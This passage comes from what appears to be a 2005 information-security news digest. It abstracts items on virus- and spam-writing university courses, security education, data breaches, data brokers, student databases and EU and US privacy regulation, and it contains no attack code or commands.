In a follow-up response in RISKS 23.71, someone called "Hendrik" retorted that studying malware is essential for development of effective countermeasures. Some of his comments follow:

>....In 1992 I found a small book in a bookstore in Saudi Arabia, that had been published by the German "Kaos Computerclub". In this book the authors explained how viruses worked, from an angle of approach of how to write viruses (at that time we had to deal mostly with DOS boot sector viruses). The authors further described how they had approached major software companies with this information, none of whom was the least bit interested in the information or in any cooperation with people who knew how to write viruses. Some of the approached companies had furthermore warned the authors against publishing the information about viruses they had on hand.

I am not impressed, to say the least, that 13 years after the Kaos Computerclub had the right idea, in a world awash in viruses, worms, and spam, with a world-wide deployed home computer OS that seems to have less security than the front door of my house, we still have not made any progress in regards to how we deal with knowledge about malware.

In the CBC article that Rob Slade refers to, Aycock (the "virus teacher" at UofC) is quoted as saying "[S]ome companies have said they're not going to hire [our] graduates because they don't like the perception of having someone on board who has written viruses."

Well, I imagine reading the following in Time Magazine: "The White House official said, 'We are not going to hire body guards who have been trained at school X because we don't like the perception of having someone on staff who has been trained to kill.'" Would you forgive me for laughing?

Rob Slade further writes: I can vaguely see a dim advantage to having students write viruses in order to understand them (rather inefficiently, in terms of time spent), but getting them to write a spamming program in order to understand how to fight spam seems even less effective.

Not all approaches to learning something are equally effective, and in an area where something is being pioneered, the first steps may not be quite in the right direction or not as effective as future approaches. But that alone is not a good reason to abolish a certain curriculum. My question would be "What would make this training more effective?"

....I hope one day we will see malware courses in all university computer science programs - then I would have reason to be more optimistic that the "security mess" we are finding ourselves in might be cleaned up. Creativity, more than anything else, is what we need to deal with the future, and anybody who fosters and harnesses such creativity has my vote.<

Matthew Holmes pointed out in RISKS 23.71 that contrary to Slade's dismissive comments, Aycock does in fact publish technical articles:

>I did survey Aycock's professional literature, much of which is available on-line, and I notice that a great deal of it centers on reverse-engineering methodology, compiler/parser theory, etc. These are in fact the tools of the virus writer - the real ones, not the script kiddies and buffer-overflow people.<

Category 37.3 Undergraduate programs
2005-02-08 **University Calgary course spam spyware viruses malicious code ThreatLab grades prosecution**

EDUPAGE; <http://software.silicon.com/security/0,39024655,39127703,00.htm>

UNIVERSITY OF CALGARY OFFERS COURSE ON SPAM, SPYWARE

The University of Calgary, which gained attention in 2003 when it began offering a course on writing viruses, has now introduced a course devoted to writing spyware and spam. Although the virus-writing course prompted strong criticism, response to the new offering has been warmer. Some members of the computer-security community noted that such a course could give students a strong understanding of how to combat malicious computer code in practice. "If we're looking for an engineer to [fight] spam, then we'd rather have somebody who has already been taught about these things and who knows how they work," said Steve Purdham, CEO of SurfControl. Mark Murtagh of Websense echoed those comments. He compared computer security to a game of chess, saying, "You need to be completely up to date on what's available to ensure you understand your opponent's potential next move." Pete Simpson, ThreatLab manager at Clearswift, disagreed, however, saying that such arguments "really [fall] flat for spamming tools." He said the course will tempt students to put their skills to harmful use. Students who do so risk failing grades and prosecution, according to the university.

Category 37.3 Undergraduate programs
2005-02-16 **software vendor quality assurance blame college security education secure programming responsibility NSA DoD**

DHS IAIP Daily;
http://news.com.com/Software+firms+fault+colleges+security+education/2100-1002_3-5579014.html

SOFTWARE FIRMS FAULT COLLEGES' SECURITY EDUCATION.

In a panel session Tuesday, February 15, at the Secure Software Forum in San Francisco, Oracle, Microsoft and other software makers attempted to analyze why flawed software is still overwhelmingly the rule and not the exception in the industry. A major contributor, the companies said, is college students' lack of a good grounding in secure programming. Many software makers believe that better training of computer science graduates is a key step toward improving software quality, but some security researchers have criticized the industry, pointing out that industry demand for programmers generally does not give preference to those trained in secure programming. To influence curricula, private industry has established scholarships at universities. Also, several federal agencies, including the Department of Defense and the National Security Agency, have named several college programs as National Centers of Academic Excellence in a variety of security disciplines. However, some panel members laid the blame for the problems squarely at the feet of software makers. Until companies are willing to foot the bill for security, applications will not get better, said Fred Rica, a partner in PricewaterhouseCoopers' Threat and Vulnerability Assessment Services.

37.4 Master's programs

Category 37.4

Master's programs

2005-12-13

online Internet higher education e-learning for-profit seven times music industry

EDUPAGE; <http://chronicle.com/daily/2005/12/2005121305n.htm>

ONLINE EDUCATION BOOMING

Analysts speaking at a conference on the business of higher education this week argued that the market for online learning, though often downplayed relative to other topics, is thriving and represents the future of for-profit education. Online music, for example, receives a lot of hype in the media, according to one analyst, but the market for online education is seven times larger than that for online music. Douglas L. Becker, CEO of Laureate Education Inc., which operates a network of international universities, said that in many parts of the world the demand for higher education far outstrips the supply. Moreover, while for-profit colleges enroll less than 5 percent of all college students, more than a third of all students taking an online course are enrolled at a for-profit institution. The conditions are ripe for online education to lead to significant growth in for-profit colleges in the coming years, according to analysts. Chronicle of Higher Education, 13 December 2005 (sub. req'd)

37.7 Conferences

Category 37.7

Conferences

2005-03-17

Cellular Telecommunications Internet Association CTIA Wireless 2005 homeland security cooperation

DHS IAIP Daily; <http://www.computerworld.com/securitytopics/security/recovery/story/0,10801,100458,00.html>

CTIA: EXPERTS CALL FOR HOMELAND SECURITY, WIRELESS INDUSTRY COOPERATION

To bolster the value of wireless voice and data communications for U.S. homeland security purposes, industry and government officials need to work closer together, security experts at Cellular Telecommunications & Internet Association (CTIA) Wireless 2005 said last week. The consensus among experts from the Federal Communications Commission and Department of Homeland Security who took part in a panel discussion was that wireless technologies have improved since the September 11, 2001, terrorist attacks. But they said much remains to be done to set up effective warning systems in the event of a terrorist or natural disaster and to improve interoperability of wireless devices for emergency responders. The toughest issue for police, firefighters and other emergency responders may be the widespread lack of interoperability between public safety networks and devices, experts said. Several panelists called for development of emergency warning systems to notify a large group of people of an emergency, similar to one county officials use in Arlington, VA. That system is used by police and fire officials to call residents over wired or wireless phones, or the Internet, to warn them of traffic disasters or crimes. CTIA: <http://www.ctia.org>

Category 37.7

Conferences

2005-03-21

information technology IT physical perimeter security manager responsibility Business Continuity Expo London

DHS IAIP Daily; <http://news.zdnet.co.uk/internet/security/0,39020375,39191839,0.htm>

PHYSICAL SECURITY BECOMING AN IT PROBLEM.

The proliferation of technologies such as identity management mean more IT managers are having to take responsibility for physical security, according to a panel of leading IT security managers. Speaking at the Business Continuity Expo in London's Docklands, IT security experts from the Royal Mail Group, Proctor & Gamble and Barclaycard acknowledged that their companies are increasingly merging systems used to authenticate employees' entry to physical facilities with those used to control access to computing resources. David McCaskill, manager for global security solutions at Proctor & Gamble, explained that the pharmaceutical giant had also integrated its physical and IT authentication systems. "Before, if you forgot your passcard to access the building that wasn't a major problem, but now it is." Companies have generally treated physical security as the responsibility of the facilities department and computer security as that of IT. But employee information has increasingly become integrated, allowing businesses to link the two systems, said Steve Hunt, an analyst with Forrester Research.

Category 37.7

Conferences

2005-11-25

Iowa State University Cyber Defense competition network security skills practice

DHS IAIP Daily;
<http://www.iowastatedaily.com/media/paper818/news/2005/11/18/News/Students.Fight.It.Pros.In.Hacker.Competition-1110048.shtml?norewrite&sourcedomain=www.iowastatedaily.com>

STUDENTS FIGHT IT PROS IN HACKER COMPETITION

Students at Iowa State University competed in the university's second-annual Cyber Defense Competition on Friday, November 18 through Saturday, November 19. During the event, several student teams competed against a group of Internet technology professionals whose job it is to hack into and disrupt each team's network. Thad Gillispie, a graduate student in electrical and computer engineering, said that the students had a chance to see what they really know about network security as well as learn more. It also provides the students with an opportunity to see Internet security from a point of view that is not often represented and helps them start to appreciate Internet services being there when they want them, Gillispie said.

37.8 Web sites

<i>Category</i>	<i>37.8</i>	<i>Web sites</i>	
2005-02-15		privacy technology society audio commentary awareness	
RISKS			23
"THE MOTHER IS BACK!" ANNOUNCING "DAYTHINK" AUDIO FEATURES			72

Lauren Weinstein of the Privacy Forum wrote:

Greetings. I'm pleased to announce "DayThink" -- a new series of very brief (one-minute) MP3 audio features illuminating a wide range of relevant and important topics. Each day's feature will focus on one specific issue affecting our lives -- issues definitely worth thinking about. Many of these segments will deal directly with the impacts of technology on individuals and society.

DayThink features can be accessed via the DayThink main page at:
<http://daythink.vortex.com>

The debut segment is titled: "The Mother is Back!"

and looks at the current round of telecom mergers and what they may mean for us all.

A notification mailing list has been established that will send out a brief message to subscribers as each new feature becomes available (never more than one per day), including the segment title, a brief description, and a link to the feature audio itself that can be played at one's leisure.

Subscriptions to that list can be established via:
<http://lists.vortex.com/mailman/listinfo/daythink>

or by simply sending a note (no subject or body necessary) to: daythink-subscribe@vortex.com

I hope that these features will be of some value in helping folks wade through the maze of many important issues.

Thanks very much.

Lauren Weinstein
lauren@pfir.org
lauren@vortex.com
lauren@privacyforum.org
1 818-225-2800
<http://www.pfir.org/lauren>
Fact Squad - <http://www.factsquad.org>

<i>Category</i>	<i>37.8</i>	<i>Web sites</i>
2005-05-19		privacy data theft confidentiality breaches personal information control databases summary
RISKS		23 88

PRIVACY JOURNAL LISTS DATA LEAKAGE & DATA THEFTS IN 1Q2005

Robert Ellis Smith, publisher of the *_Privacy Journal_*, published a summary of some of the major losses of control and confidentiality in the first quarter of the year 2005:

To appreciate THE CUMULATIVE EFFECT, Privacy Journal newsletter in its May issue compiled the following list of breaches of sensitive personal information, disclosed just since January. It's not an atypical list for a three-month period, but breaches are obviously getting more press attention.

* Tepper School of Business at Carnegie Mellon University reported that a hacker had access to Social Security numbers and other sensitive personal information relating to 5000 or more graduate students, staff, and alumni. Another department at the university is responsible for receiving complaints of Internet breaches and solving them.

* Tufts University notified 106,000 alumni, warning of "abnormal activity" on its fund-raising computer system listing names, addresses, phone numbers, and, in some cases, Social Security numbers and credit-card account numbers.

* ChoicePoint, the insurance and employment investigative company and "information broker" based in Georgia, sold personal data on from 100,000 to 500,000 or more persons to fraud artists posing as legitimate businesses. (Still, the State of California plans to award a \$340,000 contract to the Equifax-created company to gather information on suspected criminals and terrorists, according to The Sacramento Bee.)

* DSW Shoe Warehouse experienced a hacking incident involving access to an estimated 1.4 million credit-card numbers and names, 10 times more than investigators estimated at first, as well as driver's license numbers and checking-account numbers from 96,000 transactions involving other customers.

* A computer system breach at an unnamed retailer involved at least 180,000 customers, perhaps more. HSBC North America, which issues GM's MasterCard, urged all customers to replace their cards as quickly as possible because the personal data was compromised. The Wall Street Journal identified the retailer as Polo Ralph Lauren Corp., but the company insisted that in fact no information was leaked, although a computer flaw was discovered and fixed.

* Ameritrade Holding Corp., the online discount broker, informed about 200,000 current and former customers that a back-up computer tape containing their account information was lost when a package containing the data was damaged during shipping.

* Canadian Imperial Bank of Commerce, CIBC, one of Canada's leading banks, "failed to recognize" that misdirected confidential faxes sent to outside parties over a three-year period were a breach of customers' privacy that could have been prevented, according to a finding by the federal Privacy Commissioner in Canada. Bank of Montreal, Royal Bank of Canada, Scotiabank, TD Bank, and National Bank have also misdirected faxes with customer information.

* Motor vehicle departments in four states have lost personal data. The Texas Department of Public Safety mailed to 500 to 600 licensed drivers renewal documents that pertained to other persons. In March, burglars rammed a vehicle through a back wall at a Nevada Department of Motor Vehicles facility near Las Vegas and drove off with files on about 9000 people, including Social Security numbers. In April police arrested 52 people, including three examiners at the Florida Department of Motor Vehicles, in a scheme involving the sale of more than 2000 fake driver's licenses. Also, Maryland police arrested three people, including a DMW worker there, in a plot to sell about 150 fake licenses.

* A Boston-based storage company named Iron Mountain Inc., lost Time Warner Inc.'s computer back-up tapes with Social Security numbers and names of 600,000 current and former employees and dependents. This is the fourth time this year that Iron Mountain has lost tapes during delivery to a storage facility, according to The Wall Street Journal.

* Someone gained access to the personal information of 59,000 current, former, and prospective students at California State University, Chico, the university revealed in March.

* A laptop that contains about 100,000 Social Security numbers of students and personnel at the University of California, Berkeley was stolen from the school's campus.

* Someone hacked into a database at the Kellogg School of Management at Northwestern University, possibly exposing data pertaining to 21,000 individuals at Northwestern.

* More than 1600 parents discovered in January that records in the Colorado State Health Department relating to an autism study were lost. A laptop computer left in a health department employee's automobile was apparently stolen last October.

Mr Ellis kindly added this invitation:

A free copy of the current issue of Privacy Journal is available through <mailto:orders@privacyjournal.net>. Specify e-mail copy or hard copy (and include a mailing address).

<i>Category</i>	<i>37.8</i>	<i>Web sites</i>	
2005-09-06		Web application design security programming training education hands-on online free download	
RISKS; http://www.owasp.org/software/webgoat.html			24
WEBGOAT 3.7 - APPLICATION SECURITY HANDS-ON LEARNING ENVIRONMENT			04

The *only* way to learn application security is to test applications "hands on" and examine their source code. To encourage the next generation of application security experts, the Open Web Application Security Project (OWASP) has developed an extensive lesson-based training environment called "WebGoat".

WebGoat is a lessons based, deliberately insecure web application designed to teach web application security. Each of the 25 lessons provides the user an opportunity to demonstrate their understanding by exploiting a real vulnerability. WebGoat provides the ability to examine the underlying code to gain a better understanding of the vulnerability as well as provide runtime hints to assist in solving each lesson. V3.7 includes lessons covering most of the OWASP Top Ten vulnerabilities and contains several new lessons on web services, SQL Injection, and authentication.

WebGoat 3.7 is available for free download from: <<http://www.owasp.org/software/webgoat.html>>.

Simply unzip, run, and go to WebGoat in your browser to start learning.

The OWASP Foundation is dedicated to finding and fighting the causes of insecure software. Find out more at <<http://www.owasp.org>>.

37.9 White papers

Category 37.9

White papers

2005-05-09

National Institute of Standards and Technology NIST report cryptographic key management recommendation draft

DHS IAIP Daily; <http://www.fcw.com/article88818-05-09-05-Web>

NIST RELEASES REPORT ON CRYPTOGRAPHY KEYS

National Institute of Standards and Technology (NIST) officials have some advice for managing cryptographic keys. NIST recently released a draft document, "Draft Special Publication 800-57: Recommendation for Key Management," that is now available on the agency's Website for public review and comment. Poorly managed keys can easily compromise even the strongest cryptographic algorithms, according to the document written for systems administrators and software developers. The two-part document classifies cryptographic key types, their uses and the methods for protecting each type. Part 1: <http://csrc.nist.gov/publications/drafts/draft-800-57-Part1- April2005.pdf> Part 2: <http://csrc.nist.gov/publications/drafts/draft-800-57-Part2- April2005.pdf>

38.1 Consumer / employee / individual profiling & surveillance (non-governmental)

Category 38.1

Consumer / employee / individual profiling & surveillance (non-governmental)

2005-01-28

**Marketscore ire campuses institutions students security risk spyware data names
passwords credit card numbers confidential IT**

EDUPAGE; <http://chronicle.com/prm/weekly/v51/i21/21a03701.htm>

MARKETSCORE RAISES IRE AT SEVERAL CAMPUSES

Officials at a number of U.S. institutions are warning students about what they consider a security risk posed by Marketscore software, which promises those who install it significantly greater Internet connection speeds. Unlike applications more commonly referred to as spyware, Marketscore requires users to accept its terms and conditions before installing it. Once loaded, the software routes all of a users Web traffic through Marketscore servers, which then sell usage data to various clients. In monitoring traffic, however, the Marketscore servers also monitor encrypted information, such as user names and passwords, credit card numbers, and other confidential information. Cornell University and the University of Notre Dame have decided to completely block Marketscore from campus networks. Steven J. Schuster, director of IT security at Cornell, called the company's handling of encrypted traffic "absolutely criminal." Officials from Columbia University opted to block Marketscore from what they called its "critical servers," and students who use Marketscore to access other servers at the university receive e-mail warnings about the risk to personal data. At Notre Dame, students who try to use Marketscore receive a warning explaining the risk. Executives from Marketscore defended their products and said they make every effort to explain to users what they do with collected information.

Category 38.1

Consumer / employee / individual profiling & surveillance (non-governmental)

2005-11-20

libraries services retailers personal privacy concern USA PATRIOT Act

EDUPAGE; <http://www.nytimes.com/2005/11/20/weekinreview/20cowan.html>

LIBRARIES FOLLOWING RETAILERS' LEAD

Libraries increasingly find themselves in a quandary between growing expectations among patrons for personalized services and libraries' traditional stance as a strong advocate for personal privacy.

Commercial enterprises such as Amazon and Netflix typically make suggestions to customers based on previous purchases and can notify users when certain products are available. The library at North Carolina State University is implementing a program that offers students similar services based on past usage. To offer such services, however, the library must keep more-detailed patron records than many libraries keep, given the authority of government officials under the USA PATRIOT Act to subpoena those records. Officials from the university report that students are comfortable trading some measure of privacy for the convenience of personalized services. Another program at the University of Notre Dame offers similar suggestions to users, which, according to its developer, should simplify research for many students. Michael Golrick, the city librarian in Bridgeport, Conn., said that the large numbers of immigrants in his community would not be so willing to trade privacy for convenience. Many of them, he said, "came to this country to avoid the kinds of surveillance and persecution we're seeing tinges of today."

New York Times, 20 November 2005 (registration req'd)

38.2 Trade in personal information

Category 38.2 *Trade in personal information*
 2005-03-15 **privacy central federal government database identification authentication sabotage corruption integrity**

RISKS	23	79
-------	----	----

CENTRALIZED PRIVACY RIGHTS MECHANISM RAISES SECURITY QUESTIONS

Curt Sampson contributed useful pointers and serious questions about a proposal for a central registry for protecting information privacy:

>Bruce Schneier, on his blog recently, mentioned the paper "A Model Regime of Privacy Protection" by Daniel J. Solove & Chris Jay Hoofnagle. His link and discussion is at
http://www.schneier.com/blog/archives/2005/03/ideas_for_privacy.html

The paper's abstract and a link to download it can be found at
http://papers.ssrn.com/sol3/papers.cfm?abstract_id=681902

There are a lot of good ideas in this paper, but one in particular struck me as potentially unwise, and certainly underdeveloped:

In conjunction with the universal notice, the FTC shall develop a centralized mechanism for people to exercise their rights with respect to their personal information. Such a mechanism would mimic the Do Not Call website, which allows individuals to opt-out of telemarketing and verify their enrollment by visiting a single website.

Many interesting RISKS are raised by this. How do you identify the people in the opt-out registry? How do you authenticate requests to deny distribution of certain information? (A malicious person might try to cause difficulties for someone by forging a request to deny all credit data to potential lenders.) How do you determine who may or may not search the registry or read information in it? How do you keep this from acting as the "central key" to all the information on a person, effectively moving us closer to having One Central Database, with all of the problems that brings?

There's a huge can of worms here waiting to be opened.

Personally, my first instinct would be to avoid such a central registry and instead make it the responsibility of the data collectors to contact each individual with information about what they're collecting and how they're using it, and solicit permission to do so, as well as offer the ability to review the information. This avoids any centralized system, and also avoids certain types of error. For example, if I'm contacted regarding a file that appears to have nothing to do with me, I can point that out, rather than have a company mistakenly believe that this file does correspond with my life. (Or I might just say it does, and use the information for identity theft. Who knows?)<

Category 38.2 *Trade in personal information*
 2005-03-23 **US Department of Education national database college students criticism civil liberties privacy concerns Social Security Numbers**

EDUPAGE; <http://www.insidehighered.com/news/2005/03/23/unit>

CRITICISM MOUNTS FOR FEDERAL STUDENT DATABASE

The U.S. Department of Education has proposed creating a national database of college students, but the idea has drawn heavy criticism for its use of Social Security numbers to identify individuals. The current system for reporting student progress, the Integrated Postsecondary Education Data System, reports aggregate data for institutions and cannot accurately track students who start at one college or university and transfer to another. The proposed database would track individuals, offering more accurate data for graduation rates and other statistics, but some argue that those gains would come at the expense of student privacy. David Baime, vice president of government relations for the American Association of Community Colleges, said that despite the benefits to community colleges in particular from such a system, his organization opposes the plan "primarily due to privacy concerns, expressed to us by our members." David L. Warren, president of the National Association of Independent Colleges and Universities, said, "The proposal takes us down the slippery slope toward Big Brother oversight of college students, and of those same citizens beyond their college years." Inside Higher Ed, 23 March 2005

<i>Category 38.2</i>	<i>Trade in personal information</i>
2005-06-23	privacy Social Security Numbers SSN database recruitment privacy security safety system design
RISKS	23 93

DoD MILITARY RECRUITMENT DATABASE INCLUDES SSN

The Defense Department has begun working with BeNow Inc, a private marketing firm, to create a database of high school students ages 16 to 18 and all college students to help the military identify potential recruits in a time of dwindling enlistment in some branches.

The program is provoking a furor among privacy advocates. The new database will include personal information including birth dates, Social Security numbers, e-mail addresses, grade-point averages, ethnicity and what subjects the students are studying.

Chris Jay Hoofnagle, West Coast director of the Electronic Privacy Information Center, called the system "an audacious plan to target-market kids, as young as 16, for military solicitation." He added that collecting Social Security numbers was not only unnecessary but posed a needless risk of identity fraud. Theft of Social Security numbers and other personal information from data brokers, government agencies, financial institutions and other companies is rampant. "What's ironic is that the private sector has ways of uniquely identifying individuals without using Social Security numbers for marketing."

The Pentagon statements said the military is "acutely aware of the substantial security required to protect personal data," and that Social Security numbers will be used only to "provide a higher degree of accuracy in matching duplicate data records."

[Abstract by Peter G. Neumann]

<i>Category 38.2</i>	<i>Trade in personal information</i>
2005-06-23	Department of Defense DoD student database EPIC civil liberties privacy concerns trade in consumer information

EDUPAGE; <http://www.insidehighered.com/news/2005/06/23/database>

DEFENSE DEPARTMENT TO CREATE VAST STUDENT DATABASE

Officials at the U.S. Department of Defense (DoD) have proposed the creation of a database containing information on virtually every college student in the country, as well as many high school students. Intended as a tool to aid recruitment efforts, the database would include names, phone numbers, Social Security numbers, addresses, birth dates, ethnicities, grade point averages, and other data. The DoD's database bears similarities to another database proposed by the Department of Education. That database would track individual students through their college careers, providing a clearer picture of graduation rates than current records, which track only aggregate rates from institutions. The Education Department's proposed database has drawn criticism from privacy advocates, who see it as a potential risk to privacy. The DoD proposal has similarly elicited complaints from groups such as the Electronic Privacy Information Center (EPIC). According to EPIC, the database would be a "bad idea," putting tools of direct marketers in the hands of government officials but without affording consumers the same protections from government that they enjoy from marketers. Inside Higher Ed, 23 June 2005

<i>Category 38.2</i>	<i>Trade in personal information</i>
2005-07-08	EPIC data broker investigation FTC cell phone records trade in personal information

EDUPAGE; <http://online.wsj.com/article/0,,SB112077534843280100,00.html>

EPIC CALLS FOR INVESTIGATION OF DATA BROKERS

The Electronic Privacy Information Center (EPIC) this week filed a complaint with the Federal Trade Commission (FTC) asking the agency to investigate the business practices of companies that sell information such as cell phone records. The complaint focuses on a company called Intelligent e-Commerce Inc., which sells information including cell phone records and the identities of holders of post office boxes. In its complaint, EPIC contends that the collection and sale of such information likely violates federal regulations or statutes and asks the FTC to force Intelligent e-Commerce to discontinue the sale of such information pending a full investigation. According to EPIC, some data brokers obtain information fraudulently by pretending to be someone who is authorized to access that information. A spokesperson for Intelligent e-Commerce Inc. said company officials and attorneys are not aware of any laws that they are breaking. Wall Street Journal, 8 July 2005 (sub. req'd)

Category 38.2

Trade in personal information

2005-09-09

**civil liberties privacy organization United Kingdom UK EFF Open Rights Group
ORG**

EDUPAGE; <http://news.bbc.co.uk/2/hi/technology/4225938.stm>

DIGITAL RIGHTS ORGANIZATION OPENS IN UK

Modeled on the Electronic Frontier Foundation (EFF) in the United States, a new organization is being launched in the United Kingdom to protect the rights of users of digital resources. According to the Web site of the Open Rights Group (ORG), the group will work to "vigorously defend our digital civil liberties, ensuring that the our hard-won freedoms are not taken away simply because they've moved to the digital world." Suw Charman, one of the group's co-founders, said that ORG intends not to replace but to work alongside organizations with similar goals, of which several already exist in the United Kingdom and Europe, including the Campaign for Digital Rights, the Foundation for Information Policy Research, and the Foundation for a Free Information Infrastructure. Officials from the rights group Citizens Online expressed skepticism that ORG efforts would be appropriately inclusive. Citizens Online worried that ORG's focus would be "middle class" issues, ignoring technology issues concerning people with disabilities and the digital divide. BBC, 9 September 2005

38.3 Industry efforts for individual privacy protection

Category 38.3

Industry efforts for individual privacy protection

2005-01-01

eBay passport auction personal information names addresses credit card numbers

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?storyID=7217100>

EBAY TO DISCONTINUE PASSPORT

Online auction site eBay has announced it will discontinue support of Microsoft's Passport service later this month. The service offers registered users a single location to store personal information including names, addresses, and credit card numbers. When shopping at online vendors participating in the service, users can access their profiles for transactions with just a single login. Since its debut in 1999, however, Passport has failed to live up to expectations, in part due to competition as well as to security concerns among consumers. In addition, retailers were slow to sign up for fear that Microsoft might begin charging fees to retailers for the service. A spokesperson from eBay said that the percentage of its customers who regularly signed in using Passport was "very small." Despite losing one of the largest online retailers in eBay, Microsoft said the Passport service will continue.

Category 38.3

Industry efforts for individual privacy protection

2005-03-25

intellectual property entertainment policy initiative cooperation

RISKS; <http://www.eepi.org>

23

81

EEPI - ELECTRONIC ENTERTAINMENT POLICY INITIATIVE

Long-time privacy advocate Lauren Weinstein wrote:

I'm pleased to announce "EEPI" (<http://www.eepi.org>), a new initiative aimed at fostering cooperation in the areas of electronic entertainment and its many related issues, problems, and impacts.

I've teamed with 30+ year recording industry veteran Thane Tierney in this effort to find cooperative solutions to technical, legal, policy, and other issues relating to the vast and growing range of electronic technologies that are crucial to the entertainment industry, but that also impact other industries, interest groups, individuals, and society in major ways.

There are many interested parties, including record labels, film studios, the RIAA, the MPAA, artists, consumers, intellectual freedom advocates, broadcasters, manufacturers, legislators, regulators, and a multitude of others.

The issues cover an enormous gamut from DVDs, CDs, and piracy issues to multimedia cell phones, from digital video recorders to Internet file sharing/P2P, from digital TV and the "broadcast flag" to the Digital Millennium Copyright Act (DMCA) and "fair use" controversies.

Working together, rather than fighting each other, perhaps we can all find some broadly acceptable paths that will be of benefit to everyone.

For more information, please see the EEPI Web site at:

<http://www.eepi.org>

A moderated public discussion list and an EEPI announcement list are now available at the site.

Public participation is cordially invited. Thank you very much.

Lauren Weinstein lauren@pfir.org or lauren@vortex.com or lauren@eepi.org +1 (818) 225-2800

<http://www.eepi.org>

<http://www.pfir.org/lauren>

<http://lauren.vortex.com>

<http://www.pfir.org>

<http://www.vortex.com>

<i>Category</i>	<i>38.3</i>	<i>Industry efforts for individual privacy protection</i>
2005-10-04		client server model remote processing history merger policy privacy officer searches records copyright intellectual property
RISKS		24 06

GOOGLE PRIVACY POLICIES NEED REFINEMENT

Lauren Weinstein published an open letter berating Google (and Sun Microsystems) for Google's lack of privacy policies. Among other sins, he cited these [MK quoting liberally from LW's letter]:

* Google keeps records of your searches, and can tie them to other activities via cookies. Google scans the e-mail you send and receive through Gmail. Google collects a variety of information on your other browsing activities through various optional toolbars and services.

* Google wants to make copies of copyrighted books without paying for them. Arguments about how they might make "snippets" of such materials available in "Google Print" aside, the internal R&D value alone of that collection to Google would presumably be immense, and all without sending a dime to the copyright holders.

* When CNET ran a story using Google to research data on Google's chief exec, Google reacted like an enraged and petulant child.

* Now, with the new Sun Micro deal, if hosted versions of word processing and related applications are developed and deployed by the joint Google and Sun team, Google could quite possibly be tied into your document editing and other Office-like activities if you use such services.

* Google refuses to hire a privacy officer (after all, they're the "Trust us -- First do no evil" company, and they're smarter than everyone else about... well... everything, right?)

* Google refuses to detail their data retention policies or the extent to which they make that growing corpus of data available to outside entities.

*...Sun's Scott McNealy ... has famously said: "You have no privacy, get over it" and ... suggested that consumer privacy is a "red herring" issue.

Weinstein urged Google and Sun to consult with the privacy community and personally offered to help. However, he wrote, "I won't be holding my breath waiting for their call."

38.5 EU case law, legislation & regulation concerning individual privacy (not govt surveillance)

Category 38.5

EU case law, legislation & regulation concerning individual privacy (not govt s

2005-09-15

Holland Netherlands Dutch Ministry of Health citizen tracking permanent government agencies

EDUPAGE; <http://www.wired.com/news/privacy/0,1848,68866,00.html>

DUTCH TO TRACK ALL CITIZENS, FOREVER

Beginning in 2007, the Dutch Ministry of Health will begin tracking all citizens of the country in a single database from their births to their deaths. Each person will be added to the database at birth, with health and family information included. As people in the database age, information from schools, doctors, and the police will be added. In an effort to protect privacy, no individual will be permitted to see any person's complete file. Various governmental agencies, however, will be able to add "red flags" to a file if they notice something that might be cause for concern, according to Jan Brouwer, spokesperson for the Health Ministry. Brouwer suggested that someone at child protection services might find that for an individual, red flags had been added by the police, the school, and a doctor, which would likely indicate a problem that should be addressed. Truancy is often correlated with criminality, for example, and the new database will allow tracking such patterns. Wired News, 15 September 2005

Category 38.5

EU case law, legislation & regulation concerning individual privacy (not govt s

2005-09-26

Europe EU data retention plans criticism terrorism anti-terrorism Convention on Human rights civil liberties Internet phone logging

EDUPAGE; <http://www.siliconvalley.com/mld/siliconvalley/12746814.htm>

EU DATA-RETENTION PLANS DRAW CRITICISM

Peter Hustinx, data protection supervisor for the European Union (EU), has voiced his criticism of two antiterrorism proposals for their stance on data retention. Neither the proposal by the European Commission nor one drafted by EU governments makes a compelling case for holding on to sensitive data as part of antiterrorism efforts, said Hustinx. The EU proposal, he noted, would allow for the retention of information such as times of phone calls for up to three years. Hustinx said that any measures put forth should comply with the European Convention on Human Rights. Those that do not are "not just unacceptable but illegal." The chair of the EU negotiations, British Home Secretary Charles Clarke, is urging European governments to forgo some measure of civil liberties in return for broader authority for law enforcement to investigate suspected terrorists. San Jose Mercury News, 26 September 2005

38.6 US case law, legislation & regulation concerning individual privacy (not govt surveillance)

Category 38.6

US case law, legislation & regulation concerning individual privacy (not govt s

2005-02-02

blogs weblog Apple Tiger EFF journalism privacy rights sources

NewsScan; http://www.usatoday.com/tech/news/techpolicy/2005-02-02-about-a-blog_x.htm

WHO GETS TO DECIDE WHAT JOURNALISM IS?

A California court will soon decide whether bloggers have the same legal protections as journalists under "shield" laws that protect reporters from revealing their sources. Electronic Frontier Foundation attorney Kurt Opsahl, who represents two bloggers targeted by Apple for leaking information about new company products, maintains that if the bloggers are forced to give up their sources "the public will lose out on a vital outlet for independent news, analysis, and commentary." An opposing view is offered by University of Iowa law professor Randall Bezanson, who says that simply expressing opinions to a tiny audience isn't journalism -- because if it were "then I'm a journalist when I write a letter to my mother reporting on what I'm doing. I don't think the free-press clause [of the U.S. Constitution] was intended to extend its protections to letters to mothers from sons." (USA Today 2 Feb 2005)

Category 38.6

US case law, legislation & regulation concerning individual privacy (not govt s

2005-02-08

voyeur state law legal privacy

NewsScan; http://www.usatoday.com/tech/news/2005-02-08-video-voyeur_x.htm

VIDEO VOEURS

Prosecutors across the country have been finding that loopholes in state laws make it difficult to convict individuals who shoot voyeuristic "upskirting" or "downblousing" videos of teenagers at public places like the local mall. Most states with video voyeurism laws prohibit unauthorized videotaping or photographing of people who are in private areas, such as dressing rooms, or in situations where they have "a reasonable expectation of privacy" -- but public places pose a different problem. One Virginia state delegate says, "It's certainly immoral, it's certainly wrong, but under the code, it's just not a written offense. We're trying to tighten the code so some pervert isn't able to do that." But attorney Lawrence Walters counters: "Certainly it's a good idea to stop perverts from filming down women's blouses or up little girls' skirts. But we have to step back as a society once we get past that visceral reaction and think this through." Mary Lou Leary of the National Center for Victims of Crime suggests that the problem is the public's diminished expectation of a right to privacy: "We're used to the notion that if you're in a public place, you can take pictures and you can be photographed." (AP/USA Today 8 Feb 2005)

Category 38.6

US case law, legislation & regulation concerning individual privacy (not govt s

2005-02-15

law legal spyware Florida wiretapping

NewsScan; http://news.com.com/Court+Wife+broke+law+with+spyware/2100-1030_3-5577979.html

WIFE BROKE LAW IN USING SPYWARE

